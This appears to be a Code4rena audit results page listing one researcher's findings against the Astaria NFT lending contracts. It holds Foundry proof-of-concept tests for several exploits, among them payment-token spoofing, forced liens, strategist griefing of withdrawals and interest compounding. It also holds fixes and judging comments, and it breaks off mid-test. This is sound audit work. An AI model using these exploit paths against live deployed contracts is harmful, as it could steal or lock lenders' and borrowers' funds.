Astaria contest - evan's results

On a mission is to build a highly liquid NFT lending market.

General Information

Platform: Code4rena

Start Date: 05/01/2023

Pot Size: $90,500 USDC

Total HM: 55

Participants: 103

Period: 14 days

Judge: Picodes

Total Solo HM: 18

Id: 202

League: ETH

Astaria

Findings Distribution

Researcher Performance

Rank: 6/103

Findings: 11

Award: $4,377.20

QA:
grade-b

🌟 Selected for report: 5

🚀 Solo Findings: 3

Findings Information

Labels

bug
3 (High Risk)
satisfactory
duplicate-521

Awards

33.2422 USDC - $33.24

External Links

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/ClearingHouse.sol#L114-L178

Vulnerability details

Impact

The safeTransfer function in ClearingHouse can be called by anyone, and the paymentToken used in the subsequent _execute function can be spoofed.

https://github.com/code-423n4/2023-01-astaria/blob/main/src/ClearingHouse.sol#L166 Observe that this function call only be executed once per auction. As a result, a malicious user can call this function with a worthless paymentToken and finish the auction prematurely on Astaria's end. This will cause the Lien payees to not receive the liquidation payment that they are due.

Proof of Concept

Consider the following test. A malicious actor transfers worthless tokens to the clearingHouse, then calls clearingHouse.safeTransferFrom. Afterwards, the collateralToken is burned so safeTransferFrom cannot be called again (you can try uncommenting the _bid function in the test). Therefore, the lien payees will not receive the payments they are due.

pragma solidity =0.8.17; import "forge-std/Test.sol"; // import {WorthlessCoin} from "utils/worthlesscoin.sol"; import {Authority} from "solmate/auth/Auth.sol"; import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol"; import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol"; import { MultiRolesAuthority } from "solmate/auth/authorities/MultiRolesAuthority.sol"; import {ERC721} from "gpl/ERC721.sol"; import {SafeCastLib} from "gpl/utils/SafeCastLib.sol"; import {IAstariaRouter, AstariaRouter} from "../AstariaRouter.sol"; import {VaultImplementation} from "../VaultImplementation.sol"; import {ClearingHouse} from "../ClearingHouse.sol"; import {PublicVault} from "../PublicVault.sol"; import {TransferProxy} from "../TransferProxy.sol"; import {WithdrawProxy} from "../WithdrawProxy.sol"; import {Strings2} from "./utils/Strings2.sol"; import "./TestHelpers.t.sol"; import {OrderParameters} from "seaport/lib/ConsiderationStructs.sol"; import {ERC20} from "solmate/tokens/ERC20.sol"; contract WorthlessCoin is ERC20("WORTHLESS", "WORTHLESS", 18) { function mint(address to, uint256 amount) external { _mint(to, amount); } } contract AstariaTest is TestHelpers { using FixedPointMathLib for uint256; using CollateralLookup for address; using SafeCastLib for uint256; event NonceUpdated(uint256 nonce); event VaultShutdown(); function testSpoofPaymentToken () public { WorthlessCoin wc = new WorthlessCoin(); wc.mint(address(this), 1000 ether); TestNFT nft = new TestNFT(1); address tokenContract = address(nft); uint256 tokenId = uint256(0); address liquidator = address(7); // create a PublicVault with a 14-day epoch address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 7 days }); _lendToVault( Lender({addr: address(1), amountToLend: 60 ether}), publicVault ); // borrow 10 eth against the dummy NFT (, ILienToken.Stack[] memory stack) = _commitToLien({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: standardLienDetails, amount: 10 ether, isFirstLien: true }); uint256 collateralId = tokenContract.computeId(tokenId); ClearingHouse clearingHouse = COLLATERAL_TOKEN.getClearingHouse(collateralId); vm.warp(block.timestamp + standardLienDetails.duration); vm.startPrank(liquidator); OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate( stack, uint8(0) ); vm.stopPrank(); assertEq(nft.ownerOf(tokenId), address(clearingHouse)); ERC20(wc).transfer(address(clearingHouse), 500 ether); clearingHouse.safeTransferFrom(address(0), address(this), uint256(uint160(address(wc))), 0, ""); vm.expectRevert(); COLLATERAL_TOKEN.ownerOf(tokenId); ERC20(wc).transfer(address(clearingHouse), 500 ether); vm.expectRevert(); clearingHouse.safeTransferFrom(address(0), address(this), uint256(uint160(address(wc))), 0, ""); //_bid(Bidder(bidder, bidderPK), listedOrder, 500 ether); } }

Tools Used

VSCode, Foundry

I'm not entirely sure what the typical practice is to integrate with seaport auctions, but perhaps this is missing some access control.

#0 - c4-judge

2023-01-24T07:53:27Z

Picodes marked the issue as duplicate of #564

#1 - c4-judge

2023-02-15T07:32:06Z

Picodes marked the issue as satisfactory

#2 - c4-judge

2023-02-23T21:03:28Z

Picodes changed the severity to QA (Quality Assurance)

#3 - c4-judge

2023-02-24T10:37:08Z

This previously downgraded issue has been upgraded by Picodes

#4 - c4-judge

2023-02-24T10:39:37Z

Picodes marked the issue as not a duplicate

#5 - c4-judge

2023-02-24T10:40:45Z

Picodes marked the issue as duplicate of #521

Findings Information

🌟 Selected for report: rbserver

Also found by: Apocalypto, Jeiwan, evan, jesusrod15, ladboy233, m9800

Labels

bug
3 (High Risk)
satisfactory
duplicate-489

Awards

165.479 USDC - $165.48

External Links

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/Vault.sol#L72

Vulnerability details

Impact

SafeTransferFrom requires approval, so it's not possible for the vault owner to withdraw from his private vault.

Proof of Concept

pragma solidity =0.8.17; import "forge-std/Test.sol"; import {Authority} from "solmate/auth/Auth.sol"; import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol"; import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol"; import { MultiRolesAuthority } from "solmate/auth/authorities/MultiRolesAuthority.sol"; import {ERC721} from "gpl/ERC721.sol"; import {SafeCastLib} from "gpl/utils/SafeCastLib.sol"; import {IAstariaRouter, AstariaRouter} from "../AstariaRouter.sol"; import {VaultImplementation} from "../VaultImplementation.sol"; import {PublicVault} from "../PublicVault.sol"; import {TransferProxy} from "../TransferProxy.sol"; import {WithdrawProxy} from "../WithdrawProxy.sol"; import {Vault} from "../Vault.sol"; import {Strings2} from "./utils/Strings2.sol"; import "./TestHelpers.t.sol"; import {OrderParameters} from "seaport/lib/ConsiderationStructs.sol"; contract AstariaTest is TestHelpers { using FixedPointMathLib for uint256; using CollateralLookup for address; using SafeCastLib for uint256; event NonceUpdated(uint256 nonce); event VaultShutdown(); function testCantWithdraw() public { address privateVault = _createPrivateVault({ strategist: address(this), delegate: address(0) }); vm.deal(address(this), 50 ether); WETH9.deposit{value: 50 ether}(); WETH9.approve(privateVault, 50 ether); Vault(privateVault).deposit(50 ether, address(this)); vm.expectRevert(); Vault(privateVault).withdraw(10 ether); } }

Tools Used

VSCode, Foundry

Use safeTransfer instead.

#0 - c4-judge

2023-01-24T09:32:07Z

Picodes marked the issue as duplicate of #489

#1 - c4-judge

2023-02-15T07:49:46Z

Picodes marked the issue as satisfactory

Findings Information

🌟 Selected for report: unforgiven

Also found by: 0xbepresent, evan

Labels

bug
3 (High Risk)
satisfactory
sponsor confirmed
upgraded by judge
duplicate-188

Awards

588.5044 USDC - $588.50

External Links

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/PublicVault.sol#L330-L334

Vulnerability details

Impact

Due to an arithmetic overflow, when every liquidity provider withdraws at once, processEpoch reverts, preventing the liquidity providers from withdrawing.

Since only the withdrawProxy of the previous epoch can receive fund from the vault, the current withdrawProxy will not receive fund from the vault unless processEpoch is called. Even if there is a liquidation, users can't withdraw from the proxy unless the vault calls claim on it, which only happens within the processEpoch function.

The only way to fix this is for someone to deposit into the vault, which will lower liquidationWithdrawRatio. But in a time where everyone is trying to withdraw, there's probably something wrong with the vault, so I'm not sure anyone would want to do something like this.

Proof of Concept

The problematic code segment does not consider the fact that totalAssets is never less than, and usually greater than yIntercept. So when liquidationWithdrawRatio is equal to 1, processEpoch will revert due to integer underflow.

pragma solidity =0.8.17; import "forge-std/Test.sol"; import {Authority} from "solmate/auth/Auth.sol"; import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol"; import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol"; import { MultiRolesAuthority } from "solmate/auth/authorities/MultiRolesAuthority.sol"; import {ERC721} from "gpl/ERC721.sol"; import {SafeCastLib} from "gpl/utils/SafeCastLib.sol"; import {IAstariaRouter, AstariaRouter} from "../AstariaRouter.sol"; import {VaultImplementation} from "../VaultImplementation.sol"; import {PublicVault} from "../PublicVault.sol"; import {TransferProxy} from "../TransferProxy.sol"; import {WithdrawProxy} from "../WithdrawProxy.sol"; import {Strings2} from "./utils/Strings2.sol"; import "./TestHelpers.t.sol"; import {OrderParameters} from "seaport/lib/ConsiderationStructs.sol"; contract AstariaTest is TestHelpers { using FixedPointMathLib for uint256; using CollateralLookup for address; using SafeCastLib for uint256; event NonceUpdated(uint256 nonce); event VaultShutdown(); function testProcessEpochDOS() public { TestNFT nft = new TestNFT(1); address tokenContract = address(nft); uint256 tokenId = uint256(0); // create a PublicVault with a 14-day epoch address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 7 days }); _lendToVault( Lender({addr: address(1), amountToLend: 60 ether}), publicVault ); // borrow 10 eth against the dummy NFT (, ILienToken.Stack[] memory stack) = _commitToLien({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: standardLienDetails, amount: 10 ether, isFirstLien: true }); vm.warp(block.timestamp + 3 days); _signalWithdraw(address(1), publicVault); _warpToEpochEnd(publicVault); vm.expectRevert(); PublicVault(publicVault).processEpoch(); } }

Tools Used

VSCode, Foundry

It depends on what the intended behavior is. But a safe bet is to make sure s.yIntercept >= totalAssets().mulDivDown(s.liquidationWithdrawRatio, 1e18) before doing the subtraction.

#0 - c4-sponsor

2023-02-01T23:42:02Z

SantiagoGregory marked the issue as sponsor confirmed

#1 - c4-judge

2023-02-23T07:07:05Z

Picodes marked the issue as satisfactory

#2 - c4-judge

2023-02-23T21:24:48Z

Picodes marked the issue as duplicate of #188

#3 - c4-judge

2023-02-24T10:52:07Z

Picodes changed the severity to 3 (High Risk)

Findings Information

🌟 Selected for report: csanuragjain

Also found by: 7siech, KIntern_NA, Koolex, bin2chen, cergyk, evan, obront, unforgiven

Labels

bug
3 (High Risk)
satisfactory
duplicate-19

Awards

104.2518 USDC - $104.25

External Links

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/VaultImplementation.sol#L231-L244

Vulnerability details

Impact

In the commitToLien function of VaultImplementation, the caller can specify a receiver. The request is considered valid if the receiver holds the collateralToken. Therefore, strategists (who can approve arbitrary liens), or any user with an approved lien request, can get the holder of a collateralToken to commit to a lien without their permission.

Proof of Concept

Consider the following test where the victim is forced into a lien by the strategist.

pragma solidity =0.8.17; import "forge-std/Test.sol"; import {Authority} from "solmate/auth/Auth.sol"; import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol"; import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol"; import { MultiRolesAuthority } from "solmate/auth/authorities/MultiRolesAuthority.sol"; import {ERC721} from "gpl/ERC721.sol"; import {SafeCastLib} from "gpl/utils/SafeCastLib.sol"; import {IAstariaRouter, AstariaRouter} from "../AstariaRouter.sol"; import {VaultImplementation} from "../VaultImplementation.sol"; import {PublicVault} from "../PublicVault.sol"; import {TransferProxy} from "../TransferProxy.sol"; import {WithdrawProxy} from "../WithdrawProxy.sol"; import {Strings2} from "./utils/Strings2.sol"; import "./TestHelpers.t.sol"; import {OrderParameters} from "seaport/lib/ConsiderationStructs.sol"; contract AstariaTest is TestHelpers { using FixedPointMathLib for uint256; using CollateralLookup for address; using SafeCastLib for uint256; event NonceUpdated(uint256 nonce); event VaultShutdown(); function _customCommitToLien( address vault, // address of deployed Vault address strategist, uint256 strategistPK, address tokenContract, // original NFT address uint256 tokenId, // original NFT id ILienToken.Details memory lienDetails, // loan information uint256 amount, // requested amount address victim ) internal returns (uint256 lienId, ILienToken.Stack[] memory newStack) { IAstariaRouter.Commitment memory terms = _generateValidTerms({ vault: vault, strategist: strategist, strategistPK: strategistPK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: lienDetails, amount: amount, stack: new ILienToken.Stack[](0) }); ERC721(tokenContract).setApprovalForAll(address(ASTARIA_ROUTER), true); COLLATERAL_TOKEN.setApprovalForAll(address(ASTARIA_ROUTER), true); (lienId, newStack, ) = VaultImplementation(vault).commitToLien(terms, victim); } function testSpoofCommitLien() public { TestNFT nft = new TestNFT(1); address tokenContract = address(nft); address victim = address(this); uint256 tokenId = uint256(0); uint256 collateralId = tokenContract.computeId(tokenId); // create a PublicVault with a 14-day epoch address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 7 days }); _lendToVault( Lender({addr: address(1), amountToLend: 60 ether}), publicVault ); ERC721(tokenContract).safeTransferFrom( address(this), address(COLLATERAL_TOKEN), tokenId, "" ); assertEq(LIEN_TOKEN.getCollateralState(collateralId), bytes32(0)); vm.startPrank(strategistOne); (, ILienToken.Stack[] memory stack) = _customCommitToLien({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: standardLienDetails, amount: 10 ether, victim: victim }); assertTrue(LIEN_TOKEN.getCollateralState(collateralId) != bytes32(0)); } }

Tools Used

VSCode, Foundry

I don't think the receiver field is essential. Requiring the caller of commitToLien to be the holder of the collateralToken can solve this issue.

#0 - Picodes

2023-01-24T10:25:38Z

Misses part of the impact which is the possibility to force the creation of auctions

#1 - c4-judge

2023-01-24T10:25:54Z

Picodes marked the issue as duplicate of #565

#2 - c4-judge

2023-01-24T10:26:00Z

Picodes marked the issue as partial-50

#3 - c4-judge

2023-02-15T07:04:53Z

Picodes marked the issue as satisfactory

#4 - c4-judge

2023-02-15T07:05:05Z

Picodes marked the issue as full credit

#5 - c4-judge

2023-02-15T07:18:02Z

Picodes changed the severity to QA (Quality Assurance)

#6 - c4-judge

2023-02-15T07:22:03Z

This previously downgraded issue has been upgraded by Picodes

#7 - c4-judge

2023-02-15T07:31:13Z

Picodes marked the issue as not a duplicate

#8 - c4-judge

2023-02-15T07:31:23Z

Picodes marked the issue as duplicate of #19

Findings Information

🌟 Selected for report: evan

Also found by: PaludoX0

Labels

bug
2 (Med Risk)
primary issue
satisfactory
selected for report
sponsor acknowledged
M-08

Awards

382.5279 USDC - $382.53

External Links

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/PublicVault.sol#L597-L609 https://github.com/code-423n4/2023-01-astaria/blob/main/src/LienToken.sol#L819

Vulnerability details

Impact

Strategist interest reward is not calculated correctly. The reward will almost always be calculated with interestOwed, regardless of the amount paid.

As a result, the strategist gets paid more than they are supposed to. Even if the borrower hasn't made a single payment, the strategist can make a tiny payment on behalf of the borrower to trigger this calculation.

This also encourages the strategist to maximize interestOwed and make tiny payments on behalf of the borrower. This can trigger a compound interest vulnerability which I've made a separate report about.

Proof of Concept

As confirmed by the sponsor, the strategist reward is supposed to be "paid on performance and only@on interest. if the payment that’s being made is greater than the interest owing we only mint them based on the interest owed, but if it’s less, then, mint their shares based on the amount"

However, this is not the case. When LienToken calls beforePayment, which calls _handleStrategistInterestReward, the amount passed in is the amount of the lien (stack.point.amount), not the amount paid.

Tools Used

VSCode

https://github.com/code-423n4/2023-01-astaria/blob/main/src/LienToken.sol#L819 I believe stack.point.amount should be changed to amount.

#0 - c4-judge

2023-01-26T20:37:30Z

Picodes marked the issue as primary issue

#1 - androolloyd

2023-01-27T17:03:48Z

since we track payments against the principle via stack.point.amount then you want to ensure that what were sending them is the correct amount, lien data doesnt track the balance of a loan, only the max value a lien can have

#2 - c4-sponsor

2023-02-01T22:47:32Z

SantiagoGregory marked the issue as sponsor acknowledged

#3 - c4-judge

2023-02-22T08:56:35Z

Picodes marked the issue as selected for report

#4 - c4-judge

2023-02-22T08:56:47Z

Picodes marked the issue as satisfactory

#5 - Picodes

2023-02-22T08:57:52Z

stack.point.amount, which represents the remaining debt amount should be replaced by the amount actually paid to mitigate this attack

Findings Information

🌟 Selected for report: evan

Labels

bug
2 (Med Risk)
primary issue
satisfactory
selected for report
sponsor confirmed
M-10

Awards

850.0619 USDC - $850.06

External Links

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/PublicVault.sol#L562-L568 https://github.com/code-423n4/2023-01-astaria/blob/57c2fe33c1d57bc2814bfd23592417fc4d5bf7de/src/LienToken.sol#L702-L704

Vulnerability details

Impact

The slope of public vault can overflow in the afterPayment function due to unchecked addition. When this happens, totalAssets will not be correct. This can also result in underflows in slope updates elsewhere, causing large fluctuations in slope and totalAssets.

Proof of Concept

Assume the token is a normal 18 decimal ERC20 token. After 5 loans of 1000 tokens, all with the maximum interest rate of 63419583966, the slope will overflow. 5 * 1000 * 63419583966 / 2^48 = 1.1265581173

Tools Used

VSCode

Remove the unchecked block. Also, I think 48 bits might not be enough for slope.

#0 - c4-sponsor

2023-02-01T22:50:40Z

SantiagoGregory marked the issue as sponsor confirmed

#1 - c4-judge

2023-02-23T07:02:50Z

Picodes marked the issue as satisfactory

#2 - c4-judge

2023-02-23T21:25:38Z

Picodes marked the issue as primary issue

#3 - c4-judge

2023-02-24T10:51:50Z

Picodes marked the issue as selected for report

Findings Information

🌟 Selected for report: evan

Also found by: ladboy233

Labels

bug
2 (Med Risk)
primary issue
satisfactory
selected for report
sponsor disputed
M-11

Awards

382.5279 USDC - $382.53

External Links

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/LienToken.sol#L471-L489

Vulnerability details

Impact

Liquidator reward is not taken into account when calculating potential debt. When liquidationInitialAsk is set to the bare minimum, liquidator reward will always come at the expense of vaults late on in the stack.

Proof of Concept

Consider the following test where the vault loses more than 3 tokens.

pragma solidity =0.8.17; import "forge-std/Test.sol"; import {Authority} from "solmate/auth/Auth.sol"; import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol"; import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol"; import { MultiRolesAuthority } from "solmate/auth/authorities/MultiRolesAuthority.sol"; import {ERC721} from "gpl/ERC721.sol"; import {SafeCastLib} from "gpl/utils/SafeCastLib.sol"; import {IAstariaRouter, AstariaRouter} from "../AstariaRouter.sol"; import {VaultImplementation} from "../VaultImplementation.sol"; import {PublicVault} from "../PublicVault.sol"; import {TransferProxy} from "../TransferProxy.sol"; import {WithdrawProxy} from "../WithdrawProxy.sol"; import {Vault} from "../Vault.sol"; import {Strings2} from "./utils/Strings2.sol"; import "./TestHelpers.t.sol"; import {OrderParameters} from "seaport/lib/ConsiderationStructs.sol"; contract AstariaTest is TestHelpers { using FixedPointMathLib for uint256; using CollateralLookup for address; using SafeCastLib for uint256; event NonceUpdated(uint256 nonce); event VaultShutdown(); function testProfitFromLiquidatorFee() public { TestNFT nft = new TestNFT(1); address tokenContract = address(nft); uint256 tokenId = uint256(0); address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 7 days }); _lendToVault( Lender({addr: address(1), amountToLend: 60 ether}), publicVault ); (, ILienToken.Stack[] memory stack) = _commitToLien({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: ILienToken.Details({ maxAmount: 50 ether, rate: (uint256(1e16) * 150) / (365 days), duration: 10 days, maxPotentialDebt: 0 ether, liquidationInitialAsk: 42 ether }), amount: 40 ether, isFirstLien: true }); vm.warp(block.timestamp + 10 days); OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate( stack, uint8(0) ); _bid(Bidder(bidder, bidderPK), listedOrder, 42 ether); assertTrue(WETH9.balanceOf(publicVault) < 57 ether); } }

Tools Used

VSCode, Foundry

Include liquidator reward in the calculation of potential debt.

#0 - c4-sponsor

2023-02-01T22:56:21Z

SantiagoGregory marked the issue as sponsor confirmed

#1 - c4-sponsor

2023-02-03T18:54:38Z

androolloyd marked the issue as sponsor disputed

#2 - androolloyd

2023-02-03T18:54:46Z

this is working as intended.

#3 - Picodes

2023-02-23T07:20:53Z

@androolloyd could you expand on this? Wouldn't it be safer and avoid eventual loss of funds to ensure that the eventual liquidator reward is included in liquidationInitialAsk?

#4 - c4-judge

2023-02-23T08:15:38Z

Picodes marked the issue as satisfactory

#5 - c4-judge

2023-02-23T08:15:44Z

Picodes marked the issue as primary issue

#6 - c4-judge

2023-02-23T08:15:50Z

Picodes marked the issue as selected for report

Findings Information

🌟 Selected for report: evan

Labels

bug
2 (Med Risk)
satisfactory
selected for report
M-12

Awards

850.0619 USDC - $850.06

External Links

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/PublicVault.sol#L582-L584

Vulnerability details

Impact

The yIntercept of a public vault can overflow due to an unchecked addition. As a result, totalAsset will be a lot lower than the actual amount, which prevents liquidity providers from withdrawing a large fraction of their assets.

https://github.com/code-423n4/2023-01-astaria/blob/main/src/PublicVault.sol#L323-L325

The amount of assets required for this to happen is barely feasible for a regular 18 decimal ERC20 token, but can happen with ease for tokens with higher precision

Proof of Concept

pragma solidity =0.8.17; import "forge-std/Test.sol"; import {Authority} from "solmate/auth/Auth.sol"; import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol"; import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol"; import { MultiRolesAuthority } from "solmate/auth/authorities/MultiRolesAuthority.sol"; import {ERC721} from "gpl/ERC721.sol"; import {SafeCastLib} from "gpl/utils/SafeCastLib.sol"; import {IAstariaRouter, AstariaRouter} from "../AstariaRouter.sol"; import {VaultImplementation} from "../VaultImplementation.sol"; import {PublicVault} from "../PublicVault.sol"; import {TransferProxy} from "../TransferProxy.sol"; import {WithdrawProxy} from "../WithdrawProxy.sol"; import {Strings2} from "./utils/Strings2.sol"; import "./TestHelpers.t.sol"; import {OrderParameters} from "seaport/lib/ConsiderationStructs.sol"; contract AstariaTest is TestHelpers { using FixedPointMathLib for uint256; using CollateralLookup for address; using SafeCastLib for uint256; event NonceUpdated(uint256 nonce); event VaultShutdown(); function testYinterceptOverflow() public { address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 14 days }); _lendToVault( Lender({addr: address(1), amountToLend: 309000000 ether}), publicVault ); _lendToVault( Lender({addr: address(2), amountToLend: 10000000 ether}), publicVault ); assertTrue(PublicVault(publicVault).totalAssets() < 10000000 ether); } }

Tools Used

VSCode, Foundry

Remove the unchecked block.

#0 - c4-judge

2023-01-26T18:12:37Z

Picodes marked the issue as duplicate of #188

#1 - c4-judge

2023-02-23T21:17:51Z

Picodes marked the issue as not a duplicate

#2 - c4-judge

2023-02-23T21:26:38Z

Picodes marked the issue as satisfactory

Findings Information

🌟 Selected for report: evan

Labels

bug
2 (Med Risk)
disagree with severity
downgraded by judge
satisfactory
selected for report
sponsor confirmed
M-18

Awards

850.0619 USDC - $850.06

External Links

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/VaultImplementation.sol#L313-L351

Vulnerability details

Impact

By calling buyoutLien before transferWithdrawReserve() is invoked (front-run if necessary), Public vault owner (strategist) can indefinitely prevent liquidity providers from withdrawing. He now effectively owns all the fund in the public vault.

Proof of Concept

https://github.com/code-423n4/2023-01-astaria/blob/main/src/VaultImplementation.sol#L295 https://github.com/code-423n4/2023-01-astaria/blob/main/src/PublicVault.sol#L421 Before commitLien, transferWithdrawReserve() is invoked to transfer available funds from the public vault to the withdrawProxy of the previous epoch. However, this is not the case for buyoutLien. https://github.com/code-423n4/2023-01-astaria/blob/main/src/PublicVault.sol#L372-L382 As soon as there's fund is available in the vault, the strategist can call buyoutLien before any calls to transferWithdrawReserve(), and the withdrawProxy will need to continue to wait for available fund. The only thing that can break this cycle is a liquidation, but the strategist can prevent this from happening by only buying out liens from vaults he control where he only lends out to himself.

Consider the following test. Even though there is enough fund in the vault for the liquidity provider's withdrawal (60 ether), only less than 20 ethers ended up in the withdrawProxy when transferWithdrawReserve() is preceeded by buyoutLien().

pragma solidity =0.8.17; import "forge-std/Test.sol"; import {Authority} from "solmate/auth/Auth.sol"; import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol"; import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol"; import { MultiRolesAuthority } from "solmate/auth/authorities/MultiRolesAuthority.sol"; import {ERC721} from "gpl/ERC721.sol"; import {SafeCastLib} from "gpl/utils/SafeCastLib.sol"; import {IAstariaRouter, AstariaRouter} from "../AstariaRouter.sol"; import {VaultImplementation} from "../VaultImplementation.sol"; import {PublicVault} from "../PublicVault.sol"; import {TransferProxy} from "../TransferProxy.sol"; import {WithdrawProxy} from "../WithdrawProxy.sol"; import {Strings2} from "./utils/Strings2.sol"; import "./TestHelpers.t.sol"; import {OrderParameters} from "seaport/lib/ConsiderationStructs.sol"; contract AstariaTest is TestHelpers { using FixedPointMathLib for uint256; using CollateralLookup for address; using SafeCastLib for uint256; event NonceUpdated(uint256 nonce); event VaultShutdown(); function testBuyoutBeforeWithdraw() public { TestNFT nft = new TestNFT(1); address tokenContract = address(nft); uint256 tokenId = uint256(0); address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 7 days }); _lendToVault( Lender({addr: address(1), amountToLend: 60 ether}), publicVault ); address publicVault2 = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 7 days }); _lendToVault( Lender({addr: address(1), amountToLend: 60 ether}), publicVault2 ); (, ILienToken.Stack[] memory stack) = _commitToLien({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: standardLienDetails, amount: 40 ether, isFirstLien: true }); vm.warp(block.timestamp + 3 days); IAstariaRouter.Commitment memory refinanceTerms = _generateValidTerms({ vault: publicVault2, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: ILienToken.Details({ maxAmount: 50 ether, rate: (uint256(1e16) * 70) / (365 days), duration: 25 days, maxPotentialDebt: 53 ether, liquidationInitialAsk: 500 ether }), amount: 10 ether, stack: stack }); _signalWithdraw(address(1), publicVault2); _warpToEpochEnd(publicVault2); PublicVault(publicVault2).processEpoch(); VaultImplementation(publicVault2).buyoutLien( stack, uint8(0), refinanceTerms ); PublicVault(publicVault2).transferWithdrawReserve(); WithdrawProxy withdrawProxy = PublicVault(publicVault2).getWithdrawProxy(0); assertTrue(WETH9.balanceOf(address(withdrawProxy)) < 20 ether); } }

Tools Used

VSCode, Foundry

Enforce a call to transferWithdrawReserve() before a buyout executes (similar to commitLien)

#0 - c4-sponsor

2023-01-27T03:27:21Z

SantiagoGregory marked the issue as sponsor confirmed

#1 - SantiagoGregory

2023-01-27T03:28:07Z

@androolloyd should this still be high severity? This may be a strategist trust issue, but it is more malicious than just writing bad loan terms.

#2 - c4-sponsor

2023-02-06T00:21:40Z

SantiagoGregory marked the issue as disagree with severity

#3 - SantiagoGregory

2023-02-06T00:22:10Z

Since this is more of a strategist trust issue, we think this would make more sense as medium severity. Even with the fix, the issue of malicious refinancing would still partially exist.

#4 - Picodes

2023-02-18T17:30:25Z

I do agree with Medium severity, considering it is a griefing attack by the strategist

#5 - c4-judge

2023-02-18T17:30:31Z

Picodes changed the severity to 2 (Med Risk)

#6 - c4-judge

2023-02-23T07:45:56Z

Picodes marked the issue as satisfactory

Findings Information

🌟 Selected for report: rvierdiiev

Also found by: bin2chen, evan, ladboy233

Labels

bug
2 (Med Risk)
satisfactory
duplicate-96

Awards

119.1721 USDC - $119.17

External Links

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/main/src/LienToken.sol#L826-L830

Vulnerability details

Impact

After a payment, the amount of the Lien is set to be the previous owed amount (which includes the interest) minus the amount paid. This is typically fine if the amount covers the interest accrued.

However, a malicious user, which could be the strategist, can call the makePayment function on behalf of the borrower and make a tiny payment, effectively causing the interest to compound.

Proof of Concept

Consider this following test. For a loan of 1000 tokens, the borrower has to pay almost 10 tokens more in interest.

pragma solidity =0.8.17; import "forge-std/Test.sol"; import {Authority} from "solmate/auth/Auth.sol"; import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol"; import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol"; import { MultiRolesAuthority } from "solmate/auth/authorities/MultiRolesAuthority.sol"; import {ERC721} from "gpl/ERC721.sol"; import {SafeCastLib} from "gpl/utils/SafeCastLib.sol"; import {IAstariaRouter, AstariaRouter} from "../AstariaRouter.sol"; import {VaultImplementation} from "../VaultImplementation.sol"; import {PublicVault} from "../PublicVault.sol"; import {TransferProxy} from "../TransferProxy.sol"; import {WithdrawProxy} from "../WithdrawProxy.sol"; import {Strings2} from "./utils/Strings2.sol"; import "./TestHelpers.t.sol"; import {OrderParameters} from "seaport/lib/ConsiderationStructs.sol"; contract AstariaTest is TestHelpers { using FixedPointMathLib for uint256; using CollateralLookup for address; using SafeCastLib for uint256; event NonceUpdated(uint256 nonce); event VaultShutdown(); function testCompundingInterest() public { TestNFT nft = new TestNFT(1); address tokenContract = address(nft); uint256 tokenId = uint256(0); // create a PublicVault with a 14-day epoch address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 14 days }); _lendToVault( Lender({addr: address(1), amountToLend: 1000 ether}), publicVault ); (, ILienToken.Stack[] memory stack) = _commitToLien({ vault: publicVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: ILienToken.Details({ maxAmount: 1100 ether, rate: (uint256(1e16) * 200) / (365 days), duration: 25 days, maxPotentialDebt: 0 ether, liquidationInitialAsk: 1100 ether }), amount: 1000 ether, isFirstLien: true }); uint256 end = stack[0].point.end; uint256 expectedOwed = LIEN_TOKEN.getOwed(stack[0], end); vm.startPrank(strategistOne); // note that this is 100 NOT 100 ether vm.deal(strategistOne, 100); WETH9.deposit{value: 100}(); WETH9.approve(address(TRANSFER_PROXY), 100); uint256 collateralId = tokenContract.computeId(tokenId); for (uint256 